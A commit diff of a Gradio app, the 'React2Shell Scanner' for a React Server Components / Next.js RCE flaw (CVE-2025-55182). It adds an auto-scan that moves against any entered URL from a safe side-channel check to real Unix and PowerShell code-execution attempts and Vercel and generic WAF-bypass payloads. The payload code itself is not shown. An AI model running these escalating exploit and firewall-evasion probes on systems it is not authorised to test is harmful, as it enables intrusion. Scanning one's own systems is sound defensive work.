blazingbunny commited on
Commit
19d4d50
Β·
verified Β·
1 Parent(s): 16810dd

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +118 -59
app.py CHANGED
@@ -6,6 +6,7 @@ import string
6
  import json
7
  from urllib.parse import urlparse
8
  from requests.exceptions import RequestException
 
9
 
10
  # --- Core Scanner Logic ---
11
 
@@ -149,28 +150,29 @@ def is_vulnerable_rce_check(response: requests.Response) -> bool:
149
  redirect_header = response.headers.get("X-Action-Redirect", "")
150
  return bool(re.search(r'.*/login\?a=11111.*', redirect_header))
151
 
152
- # --- Gradio Interface Logic ---
153
-
154
- def scan_target(url, safe_check, windows_mode, waf_bypass, vercel_bypass, custom_path):
155
- if not url:
156
- return "Error: Please enter a URL."
157
 
 
158
  host = normalize_host(url)
159
  timeout = 10
160
  verify_ssl = True
161
 
 
 
 
 
 
 
 
162
  if safe_check:
163
  body, content_type = build_safe_payload()
164
  check_func = is_vulnerable_safe_check
165
- mode_str = "Safe Check (Side-Channel)"
166
  elif vercel_bypass:
167
  body, content_type = build_vercel_waf_bypass_payload()
168
  check_func = is_vulnerable_rce_check
169
- mode_str = "Vercel WAF Bypass"
170
  else:
171
  body, content_type = build_rce_payload(windows=windows_mode, waf_bypass=waf_bypass)
172
  check_func = is_vulnerable_rce_check
173
- mode_str = "Standard RCE Check" + (" (Windows)" if windows_mode else "")
174
 
175
  headers = {
176
  "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Assetnote/1.0.0)",
@@ -181,87 +183,144 @@ def scan_target(url, safe_check, windows_mode, waf_bypass, vercel_bypass, custom
181
  }
182
 
183
  paths = [custom_path] if custom_path else ["/"]
184
- logs = []
185
- logs.append(f"Target: {host}")
186
- logs.append(f"Mode: {mode_str}")
187
-
188
- vulnerable_found = False
189
 
190
  for path in paths:
191
  if not path.startswith("/"): path = "/" + path
192
  target_url = f"{host}{path}"
193
- logs.append(f"\nTesting: {target_url}")
194
 
 
195
  resp, error = send_payload(target_url, headers, body, timeout, verify_ssl)
196
 
197
  if error:
198
- logs.append(f"Error connecting: {error}")
199
- elif resp:
200
- logs.append(f"Status: {resp.status_code}")
201
- if check_func(resp):
202
- vulnerable_found = True
203
- logs.append("RESULT: [VULNERABLE]")
204
- if not safe_check:
205
- logs.append(f"Redirect Header: {resp.headers.get('X-Action-Redirect')}")
206
- return "\n".join(logs)
207
- else:
208
- logs.append("Result: Not Vulnerable")
209
- redirect_url = resolve_redirects(target_url, timeout, verify_ssl)
210
- if redirect_url != target_url:
211
- logs.append(f"\nFollowing redirect to: {redirect_url}")
212
- resp_red, error_red = send_payload(redirect_url, headers, body, timeout, verify_ssl)
213
- if resp_red:
214
- logs.append(f"Status: {resp_red.status_code}")
215
- if check_func(resp_red):
216
- vulnerable_found = True
217
- logs.append("RESULT: [VULNERABLE]")
218
- return "\n".join(logs)
219
- else:
220
- logs.append("Result: Not Vulnerable")
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
221
 
222
- final_status = "[VULNERABLE]" if vulnerable_found else "[NOT VULNERABLE]"
223
- logs.append(f"\nFinal Status: {final_status}")
224
- return "\n".join(logs)
 
225
 
226
  # --- UI Setup ---
227
 
228
- # Guide Content in Markdown
229
  guide_content = """
230
- ### πŸ“‹ Recommended Workflow
231
- 1. **Safe Check (Start Here):** Non-destructive. Checks for side-channel indicators without executing code.
232
- 2. **Standard RCE:** If Safe Check is inconclusive, use this to attempt actual code execution (Safe Check must be OFF).
233
- 3. **Windows Mode:** If target is Windows-based and Standard RCE failed.
234
- 4. **WAF Bypass:** If you receive `403 Forbidden` errors.
 
235
 
236
- ### ℹ️ Mode Definitions
 
 
 
 
 
237
  * **Safe Check:** Triggers a specific 500 error digest to confirm vulnerability without RCE.
238
- * **Windows Mode:** Uses PowerShell payload (`powershell -c ...`) instead of Unix shell.
239
- * **Generic WAF Bypass:** Pads the request with junk data to push payload past WAF inspection limits.
240
- * **Vercel WAF Bypass:** Uses a specific multipart structure to bypass Vercel-specific defenses.
241
  """
242
 
243
  with gr.Blocks(title="React2Shell Scanner") as demo:
244
  gr.Markdown("# React2Shell Scanner (CVE-2025-55182)")
245
  gr.Markdown("Web-based scanner for React Server Components / Next.js RCE.")
246
 
247
- with gr.Accordion("πŸ“– Help & Usage Guide", open=False):
248
  gr.Markdown(guide_content)
249
 
250
  with gr.Row():
251
  url_input = gr.Textbox(label="Target URL", placeholder="https://example.com")
252
  path_input = gr.Textbox(label="Custom Path (Optional)", placeholder="/_next", value="")
253
 
 
254
  with gr.Row():
255
- safe_check = gr.Checkbox(label="Safe Check", value=True, info="Side-channel check (Non-destructive).")
256
- windows_mode = gr.Checkbox(label="Windows Mode", value=False, info="Use PowerShell payload.")
257
- waf_bypass = gr.Checkbox(label="Generic WAF Bypass", value=False, info="Add junk data padding.")
258
- vercel_bypass = gr.Checkbox(label="Vercel WAF Bypass", value=False, info="Specific structure for Vercel.")
259
 
260
- scan_btn = gr.Button("Scan Target", variant="primary")
261
- output_box = gr.Textbox(label="Scan Output", lines=10)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
262
 
263
- scan_btn.click(
264
- fn=scan_target,
265
  inputs=[url_input, safe_check, windows_mode, waf_bypass, vercel_bypass, path_input],
266
  outputs=output_box
267
  )
 
6
  import json
7
  from urllib.parse import urlparse
8
  from requests.exceptions import RequestException
9
+ import time
10
 
11
  # --- Core Scanner Logic ---
12
 
 
150
  redirect_header = response.headers.get("X-Action-Redirect", "")
151
  return bool(re.search(r'.*/login\?a=11111.*', redirect_header))
152
 
153
+ # --- Orchestrator & Logic ---
 
 
 
 
154
 
155
+ def perform_single_scan(url, mode_config, custom_path):
156
  host = normalize_host(url)
157
  timeout = 10
158
  verify_ssl = True
159
 
160
+ # Unpack config
161
+ safe_check = mode_config.get("safe_check", False)
162
+ windows_mode = mode_config.get("windows_mode", False)
163
+ waf_bypass = mode_config.get("waf_bypass", False)
164
+ vercel_bypass = mode_config.get("vercel_bypass", False)
165
+ mode_name = mode_config.get("name", "Unknown Mode")
166
+
167
  if safe_check:
168
  body, content_type = build_safe_payload()
169
  check_func = is_vulnerable_safe_check
 
170
  elif vercel_bypass:
171
  body, content_type = build_vercel_waf_bypass_payload()
172
  check_func = is_vulnerable_rce_check
 
173
  else:
174
  body, content_type = build_rce_payload(windows=windows_mode, waf_bypass=waf_bypass)
175
  check_func = is_vulnerable_rce_check
 
176
 
177
  headers = {
178
  "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Assetnote/1.0.0)",
 
183
  }
184
 
185
  paths = [custom_path] if custom_path else ["/"]
186
+ log_lines = []
187
+ found_vuln = False
 
 
 
188
 
189
  for path in paths:
190
  if not path.startswith("/"): path = "/" + path
191
  target_url = f"{host}{path}"
 
192
 
193
+ # Test 1: Direct
194
  resp, error = send_payload(target_url, headers, body, timeout, verify_ssl)
195
 
196
  if error:
197
+ log_lines.append(f" [{mode_name}] Connection Error: {error}")
198
+ continue
199
+
200
+ if resp and check_func(resp):
201
+ return True, [f" [{mode_name}] HIT! Vulnerable on {target_url} (Status: {resp.status_code})"]
202
+
203
+ # Test 2: Redirect
204
+ redirect_url = resolve_redirects(target_url, timeout, verify_ssl)
205
+ if redirect_url != target_url:
206
+ resp_red, error_red = send_payload(redirect_url, headers, body, timeout, verify_ssl)
207
+ if resp_red and check_func(resp_red):
208
+ return True, [f" [{mode_name}] HIT! Vulnerable on Redirect {redirect_url} (Status: {resp_red.status_code})"]
209
+
210
+ return False, [f" [{mode_name}] Not Vulnerable"]
211
+
212
+ def manual_scan_wrapper(url, safe_check, windows_mode, waf_bypass, vercel_bypass, path_input):
213
+ """Wrapper for the manual scan button"""
214
+ config = {
215
+ "name": "Manual Scan",
216
+ "safe_check": safe_check,
217
+ "windows_mode": windows_mode,
218
+ "waf_bypass": waf_bypass,
219
+ "vercel_bypass": vercel_bypass
220
+ }
221
+
222
+ is_vuln, logs = perform_single_scan(url, config, path_input)
223
+ final_res = "\n".join(logs)
224
+ if is_vuln:
225
+ final_res += "\n\n🚨 FINAL STATUS: [VULNERABLE] 🚨"
226
+ else:
227
+ final_res += "\n\nFinal Status: [Not Vulnerable] (Check settings or try Auto-Scan)"
228
+ return final_res
229
+
230
+ def auto_scan_wrapper(url, path_input):
231
+ """Wrapper for the Auto-Scan button that runs the sequence"""
232
+ if not url: return "Please enter a URL."
233
+
234
+ full_logs = [f"Starting Auto-Scan for: {url}\n" + "="*40]
235
+
236
+ # Defined Sequence of Scans
237
+ steps = [
238
+ {"name": "1. Safe Check (Side-Channel)", "safe_check": True},
239
+ {"name": "2. Standard RCE (Unix)", "safe_check": False, "windows_mode": False},
240
+ {"name": "3. Standard RCE (Windows)", "safe_check": False, "windows_mode": True},
241
+ {"name": "4. Vercel WAF Bypass", "vercel_bypass": True},
242
+ {"name": "5. Generic WAF Bypass", "waf_bypass": True}
243
+ ]
244
+
245
+ for step in steps:
246
+ full_logs.append(f"\nrunning {step['name']}...")
247
+ yield "\n".join(full_logs) # Streaming update to UI
248
+
249
+ is_vuln, logs = perform_single_scan(url, step, path_input)
250
+ full_logs.extend(logs)
251
+
252
+ if is_vuln:
253
+ full_logs.append("\n" + "="*40)
254
+ full_logs.append("🚨 VULNERABILITY CONFIRMED 🚨")
255
+ full_logs.append(f"Stopped at {step['name']}")
256
+ yield "\n".join(full_logs)
257
+ return
258
 
259
+ full_logs.append("\n" + "="*40)
260
+ full_logs.append("Auto-Scan Complete: No vulnerabilities found with standard payloads.")
261
+ full_logs.append("Note: Sophisticated WAFs or custom paths might still exist.")
262
+ yield "\n".join(full_logs)
263
 
264
  # --- UI Setup ---
265
 
 
266
  guide_content = """
267
+ ### πŸš€ Auto-Scan Mode (Recommended)
268
+ Just enter the URL and click **"Auto-Scan Target"**. This automatically runs the following sequence:
269
+ 1. **Safe Check:** Non-destructive side-channel check.
270
+ 2. **Standard RCE:** Tests for Linux vulnerabilities.
271
+ 3. **Windows Mode:** Tests for Windows vulnerabilities.
272
+ 4. **WAF Bypasses:** Attempts to evade firewalls (Vercel & Generic).
273
 
274
+ *The scan stops immediately if a vulnerability is found.*
275
+
276
+ ---
277
+
278
+ ### πŸ› οΈ Manual Mode
279
+ Use the checkboxes below to configure a specific single test.
280
  * **Safe Check:** Triggers a specific 500 error digest to confirm vulnerability without RCE.
281
+ * **Windows Mode:** Uses PowerShell payload (`powershell -c ...`).
282
+ * **Generic WAF Bypass:** Pads the request with junk data (128KB).
283
+ * **Vercel WAF Bypass:** Uses a specific multipart structure.
284
  """
285
 
286
  with gr.Blocks(title="React2Shell Scanner") as demo:
287
  gr.Markdown("# React2Shell Scanner (CVE-2025-55182)")
288
  gr.Markdown("Web-based scanner for React Server Components / Next.js RCE.")
289
 
290
+ with gr.Accordion("πŸ“– Help & Usage Guide", open=True):
291
  gr.Markdown(guide_content)
292
 
293
  with gr.Row():
294
  url_input = gr.Textbox(label="Target URL", placeholder="https://example.com")
295
  path_input = gr.Textbox(label="Custom Path (Optional)", placeholder="/_next", value="")
296
 
297
+ # Auto Scan Section
298
  with gr.Row():
299
+ auto_scan_btn = gr.Button("πŸš€ Auto-Scan Target (Best Sequence)", variant="primary", scale=2)
 
 
 
300
 
301
+ gr.Markdown("---")
302
+ gr.Markdown("**Manual Configuration (Optional)**")
303
+
304
+ # Manual Scan Section
305
+ with gr.Row():
306
+ safe_check = gr.Checkbox(label="Safe Check", value=True)
307
+ windows_mode = gr.Checkbox(label="Windows Mode", value=False)
308
+ waf_bypass = gr.Checkbox(label="Generic WAF Bypass", value=False)
309
+ vercel_bypass = gr.Checkbox(label="Vercel WAF Bypass", value=False)
310
+
311
+ manual_scan_btn = gr.Button("Run Manual Scan", variant="secondary")
312
+
313
+ output_box = gr.Textbox(label="Scan Output", lines=15)
314
+
315
+ # Event Handlers
316
+ auto_scan_btn.click(
317
+ fn=auto_scan_wrapper,
318
+ inputs=[url_input, path_input],
319
+ outputs=output_box
320
+ )
321
 
322
+ manual_scan_btn.click(
323
+ fn=manual_scan_wrapper,
324
  inputs=[url_input, safe_check, windows_mode, waf_bypass, vercel_bypass, path_input],
325
  outputs=output_box
326
  )